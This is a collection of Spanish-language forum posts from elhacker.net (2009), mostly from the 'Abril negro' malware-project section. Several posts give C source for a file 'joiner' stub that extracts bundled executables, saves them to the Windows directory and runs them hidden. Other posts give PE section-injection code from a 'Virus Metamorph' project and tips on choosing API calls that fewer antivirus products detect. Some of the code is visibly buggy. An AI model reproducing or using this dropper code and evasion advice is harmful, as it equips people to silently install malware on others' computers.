|
581
|
Seguridad Informática / Nivel Web / Re: SQL Injection Tool
|
en: 15 Mayo 2009, 17:55 pm
|
Jaja, hombre gracias, eso me motiva a continuar el proyecto . La nueva versión la estaba haciendo en java pero como ahora ya tengo algo de soltura con C igual lo hago en C. También estoy desarrollando al mismo tiempo la versión web en xul y javascript, tenéis que abrirlo con firefox (solo está la gui, antes haré la versión en C). Saludos
|
|
|
582
|
Programación / Programación Visual Basic / Re: Ejecutar Exe con Funcion determinada
|
en: 12 Mayo 2009, 20:49 pm
|
Para saber con qué parametros se lanza una aplicación programa algo que printee los parámetros con los que se lanza y lo sustituyes por el exe al que le quieres averiguar los parámetos, lo hice una vez para saber con que parámetros se llamaba al compilador de vb, igual te sirve . Saludos
|
|
|
584
|
Seguridad Informática / Abril negro / Re: Little Joiner 1.0 (Open Source)
|
en: 11 Mayo 2009, 17:27 pm
|
Bueno Karcrack, éste source es para ti . #pragma optimize("gsy", on) #include <windows.h> typedef DWORD (WINAPI *_RtlDecompressBuffer)(IN ULONG CompressionFormat,OUT PVOID DestinationBuffer,IN ULONG DestinationBufferLength, IN PVOID SourceBuffer,IN ULONG SourceBufferLength,OUT PULONG pDestinationSize ); typedef VOID (WINAPI *_CopyMemory)(PVOID Destination,CONST VOID *Source,SIZE_T Length); DWORD dwBytes; VOID SaveFileToDisk(LPSTR nFileName,LPSTR lpFileMaped,DWORD FileSize) { HANDLE hSFTD=CreateFile(nFileName,GENERIC_READ+GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0); WriteFile(hSFTD,lpFileMaped,FileSize,&dwBytes,0); CloseHandle(hSFTD); } LPSTR DecompressBuffer(LPSTR lpBuffer,DWORD szBuffer,LPDWORD dwSizeOut ) { _RtlDecompressBuffer miRtlDecompressBuffer; LPSTR szRet=(LPSTR)GlobalAlloc(GPTR,16*szBuffer); miRtlDecompressBuffer=(_RtlDecompressBuffer)GetProcAddress((HINSTANCE)LoadLibraryA("NTDLL.DLL"),"RtlDecompressBuffer"); miRtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,szRet,16*szBuffer,lpBuffer,szBuffer,dwSizeOut); return szRet; } void main() { _CopyMemory miCopyMemory=NULL; miCopyMemory=(_CopyMemory)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"RtlMoveMemory"); DWORD szSubFile; LPSTR ext=(LPSTR)GlobalAlloc(GPTR,3); DWORD Seek=0; LPSTR lpFile=NULL; LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH); GetModuleFileName(0,AppName,MAX_PATH); HANDLE hFile=CreateFile(AppName,GENERIC_READ,0,0,OPEN_EXISTING,0,0); DWORD szFile=GetFileSize(hFile,0); LPSTR FileBuffer=(LPSTR)GlobalAlloc(GPTR,szFile); ReadFile(hFile,FileBuffer,szFile,&dwBytes,0); DWORD StubSize=0x640; LPSTR WinPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH); GetWindowsDirectory(WinPath,MAX_PATH); DWORD NumArchivos; miCopyMemory(&NumArchivos,&FileBuffer[StubSize],4); Seek=4; for(DWORD i=0;i<NumArchivos;i++) { //Obtenemos el peso del archivo miCopyMemory(&szSubFile,&FileBuffer[StubSize+Seek],4); //Obtenemos la extensión miCopyMemory(&ext[0],&FileBuffer[StubSize+Seek+4],3); //Leemos el archivo lpFile=(LPSTR)GlobalAlloc(GPTR,szSubFile); miCopyMemory(&lpFile[0],&FileBuffer[StubSize+Seek+7],szSubFile); //Lo descomprimimos DWORD szDecompressedFile; LPSTR lpDecompressedFile=DecompressBuffer(lpFile,szSubFile,&szDecompressedFile); //Generamos la ruta LPSTR Path=(LPSTR)GlobalAlloc(GPTR,MAX_PATH); lstrcat(Path,WinPath); lstrcat(Path,"\\"); //" //Ta mal geshi ¬¬ LPSTR fName=NULL; for(DWORD z=0;z<i+1;z++) { lstrcat(fName,"A"); } lstrcat(Path,fName); lstrcat(Path,"."); lstrcat(Path,ext); //Lo guardamos en WinPath SaveFileToDisk(Path,lpDecompressedFile,szDecompressedFile); LPSTR Archivo=(LPSTR)GlobalAlloc(GPTR,MAX_PATH); lstrcat(Archivo,"cmd /d /c \""); lstrcat(Archivo,WinPath); lstrcat(Archivo,"\\"); //" //Ta mal geshi ¬¬ lstrcat(Archivo,fName); lstrcat(Archivo,"."); lstrcat(Archivo,ext); lstrcat(Archivo,"\""); WinExec(Archivo,SW_HIDE); Seek=Seek+11+szSubFile; } CloseHandle(hFile); }
No importa la SHELL32.DLL y pesa 0.25kb menos o así . Después del 17 seguiré con el joiner, haré que inyecte los exes en memoria, una sección para los datos y algo más. Saludos
|
|
|
585
|
Seguridad Informática / Abril negro / Re: BHC (Batch Hide Compiler 2.2) by WHK [Proyecto para abril Negro]
|
en: 10 Mayo 2009, 18:34 pm
|
Si, yo ya tenía la idea inicial de declarar el buffer del script como 2048 pero es bastante limitado si quieres hacer un script largo como por ejemplo el crackme B4 del warzone o muy grande si quieres poner un "dir > o". Lo que dices está lo mas normal de hacer, por ahi me dieron un par de ideas que tendré que traducir con "google 1337" https://foro.elhacker.net/ingenieria_inversa/agregar_mas_caracteres_de_los_declarados_en_un_binario-t254313.0.html;msg1230610#msg1230610eso de mapearlo o de modificar el puntero antiguo no le entendí ya que es primera ves que hago algo de este tipo (he aprendido muchisimo haciendo los stubs), lo que si pude entender es que en una parte se guarde el EOF, entonces al momento de inyectar el cuerpo del script en el binario solamente tendría que unir la parte 1 mas el script mas el EOF pero de alguna forma me dice como debo hacerlo para no corromper el binario pero ahi ya no supe como. La idea está buena y tan buena como la de usar recursos como me dijo krackwar al inicio de la primera version solo que el me hablaba de asm y no npi. Tendría que compilar el stub con un solo recurso de tipo texto y ahi inyectar todo modificando ese recurso solamente.. ahora no se que tan facil sea hacerlo manualmente ya que desde el editor debo modificar estos valores hexadecimalmente ya que no voy a meterle el reshack dentro del ide, no se puede. Bueno, ahi ya me dieron varias ideas que iré testeando en el camino, gracias. Éste código tal vez te sirva, no está en vb pero se puede traducir, en la parte del joiner está como añadir el EOF a la sección y como mapear archivos en memoria, añadirles tamaño y eso. Saludos
|
|
|
586
|
Seguridad Informática / Abril negro / Re: Little Joiner 1.0 (Open Source)
|
en: 10 Mayo 2009, 16:59 pm
|
Muy bueno, lo vas a presentar a el concurso??
No, aún me queda un fin de semana para el metamorph, no estará completo pero presentaré lo que tenga con el código. Saludos Para la próxima podrías añadir lo de eligir si ejecutar o no Me ha funcionado perfectamente 4kb + 264kb -> 263kb He estado mirando... Estas APIs para que las gastas? Lo digo porque podrías quitarlas... te ahorrarías importar USER32... ademas, también puedes eliminar SHELL32, si usas para abrir los ficheros WinExec + 'CMD /C /D' (MUCHO MENOS DETECTADA) Te ahorrarías unos bytes Ah! Que directorio temporal gasta? WinDir? Mejor %TMP% GetCommandLine no recuerdo usarla . wsprintf la uso para concatenar la ruta de extracción con el nombre y la extensión del archivo. Lo de cambiar shellexecute pues si, seguramente pese menos y algunos antivirus se larguen. Avira y el otro según me dijeron lo detecta por tener sólo una sección, si compilas un messagebox con fasm de forma que te genere una sóla sección también saltan, si se agrega una sección para contener los archivos que se unirán deberían de irse, de todas formas no creo que lo haga (por lo menos antes del 17 xd) si alguien quiere continuar el proyecto pos está a su disposición. Saludos
|
|
|
588
|
Seguridad Informática / Abril negro / Little Joiner 1.0 (Open Source)
|
en: 10 Mayo 2009, 13:05 pm
|
Little Joiner Bueno, pare descansar un poco de programar el Virus Metamorph me puse a programar éste joiner. ¿Qué es?Es un Joiner programado en C capaz de unir infinitos archivos, lo de siempre . CapturaCaracterísticas-Tamaño del stu reducido, 1.7kb. - Comprime los archivos a juntar. Ésto quiere decir que si juntamos un archivo de 20kb con uno de 10kb más el stub de 1.7kb el tamaño del ejecutable final rondará los 10kb (Depende del tipo de archivo) Gracias a Karcrack por hablarme de éstas apis que no conocía -Dos stubs, uno que soporta icono y otro que no -El stub sin icono realinea el pe para dejar el EOF dentro de la sección. -Permite cambiar el icono Cosas que se pueden mejorar-Se puede añadir cifrado, no lo hice porque el comprimir ya se ofusca bastante, pero puede ser algo a añadir. -El stub con icono no permite dejar los archivos dentro de la sección sinó que se quedan en el EOF. Ésto se debe a que no sé con antelación cuanto va a ocupar el archivo ya que dependerá del icono que se le añada, se podría corregir añadiendo una sección para albergar los archivos a juntar. -Seguro tiene algunos fallos debido a que apenas lo testeé y ya estoy cansado de joiner . Descargar AplicaciónDescargar SourceSaludos PD: La función para cambiar el icono no es mía, pertenece a Tughack.
|
|
|
589
|
Programación / Ingeniería Inversa / Re: VirtualSize mayor que RawSize??
|
en: 10 Mayo 2009, 02:37 am
|
Pos yo siempre había entendido que el VirtualSize tiene que ser mayor o igual que el RawSize. Si sobra VirtualSize, el sobrante se rellena de 0's al cargarse en memoria . Lo que no creo que se pueda es menor, entonces no cogería el código en memoria . Saludos PD: Es más, los redondeos que hacen los compiladores siempre redondean más largo el VirtualSize que el RawSize.
|
|
|
590
|
Seguridad Informática / Abril negro / Re: Proyecto Metamorph
|
en: 9 Mayo 2009, 00:55 am
|
Dejando el source así con ese exe en concreto funciona: HANDLE hFile=CreateFile(nFileName,GENERIC_READ+GENERIC_WRITE,FILE_SHARE_WRITE+FILE_SHARE_READ,0,OPEN_EXISTING,0,0); if(hFile == INVALID_HANDLE_VALUE) { return NULL; } DWORD szFile=GetFileSize(hFile,0); if(szFile == INVALID_FILE_SIZE) { return NULL; } szFile=szFile+0x200; HANDLE hCFM=CreateFileMapping(hFile,0,PAGE_READWRITE,0,szFile,0); if(hCFM==NULL) { return NULL; } CloseHandle(hFile); LPSTR hMVOF =(LPSTR )malloc(szFile ); hMVOF=(LPSTR)MapViewOfFile(hCFM,FILE_MAP_ALL_ACCESS,0,0,0); if(hMVOF==NULL) { return NULL; } CloseHandle(hCFM); PIMAGE_DOS_HEADER IDH; PIMAGE_NT_HEADERS INTH; PIMAGE_SECTION_HEADER ISH; IDH=(PIMAGE_DOS_HEADER)&hMVOF[0]; INTH=(PIMAGE_NT_HEADERS)&hMVOF[IDH->e_lfanew]; DWORD ExecutableSection=GetExecutableSection(hMVOF); ISH=(PIMAGE_SECTION_HEADER)&hMVOF[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*ExecutableSection]; LPSTR Temp =(LPSTR )malloc(szFile -(ISH ->PointerToRawData +ISH ->SizeOfRawData +0x200)); CopyMemory(&Temp[0],&hMVOF[ISH->PointerToRawData+ISH->SizeOfRawData],szFile-(ISH->PointerToRawData+ISH->SizeOfRawData+0x200)); CopyMemory(&hMVOF[ISH->PointerToRawData+ISH->SizeOfRawData+0x200],&Temp[0],szFile-(ISH->PointerToRawData+ISH->SizeOfRawData+0x200)); BYTE zero=0x00; for(DWORD i=0;i<0x200;i++) { CopyMemory(&hMVOF[ISH->PointerToRawData+ISH->SizeOfRawData+i],&zero,1); } ISH->SizeOfRawData=ISH->SizeOfRawData+0x200; ISH->Misc.VirtualSize=ISH->Misc.VirtualSize+0x200; //INTH->OptionalHeader.SizeOfImage=INTH->OptionalHeader.SizeOfImage+0x200; //PIMAGE_DATA_DIRECTORY IDD; //PIMAGE_OPTIONAL_HEADER IOH; //IOH=&INTH->OptionalHeader ; //IDD=IOH->DataDirectory; //IDD++; //IDD->VirtualAddress=IDD->VirtualAddress+0x200; for(i=0;i<=INTH->FileHeader.NumberOfSections;i++) { ExecutableSection=GetExecutableSection(hMVOF); ISH=(PIMAGE_SECTION_HEADER)&hMVOF[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*(ExecutableSection+1+i)]; ISH->PointerToRawData=ISH->PointerToRawData+0x200; //ISH->VirtualAddress=ISH->VirtualAddress+0x200; } return hMVOF; }
Pero no entiendo un carajo, porqué así funciona? se supone que así está mal . Osea el SizeOfImage original es 5000 entonces al aumentar 200 pos lo aumente 200, pero entonces peta (Creo que ya sé por que es ). El virtual addres de la sección que viene después igual . Y el puntero a la tabla de importaciones también, para que funcione hay que dejarlo como estaba, pero si lo moví 200 posiciones, que pasa? Lo único que se me ocurre es que funcione pero esté mal, que esos 0x200 que agregué no se carguen en memoria entonces las direcciones coinciden . Saludos
|
|
|
|
|
|
|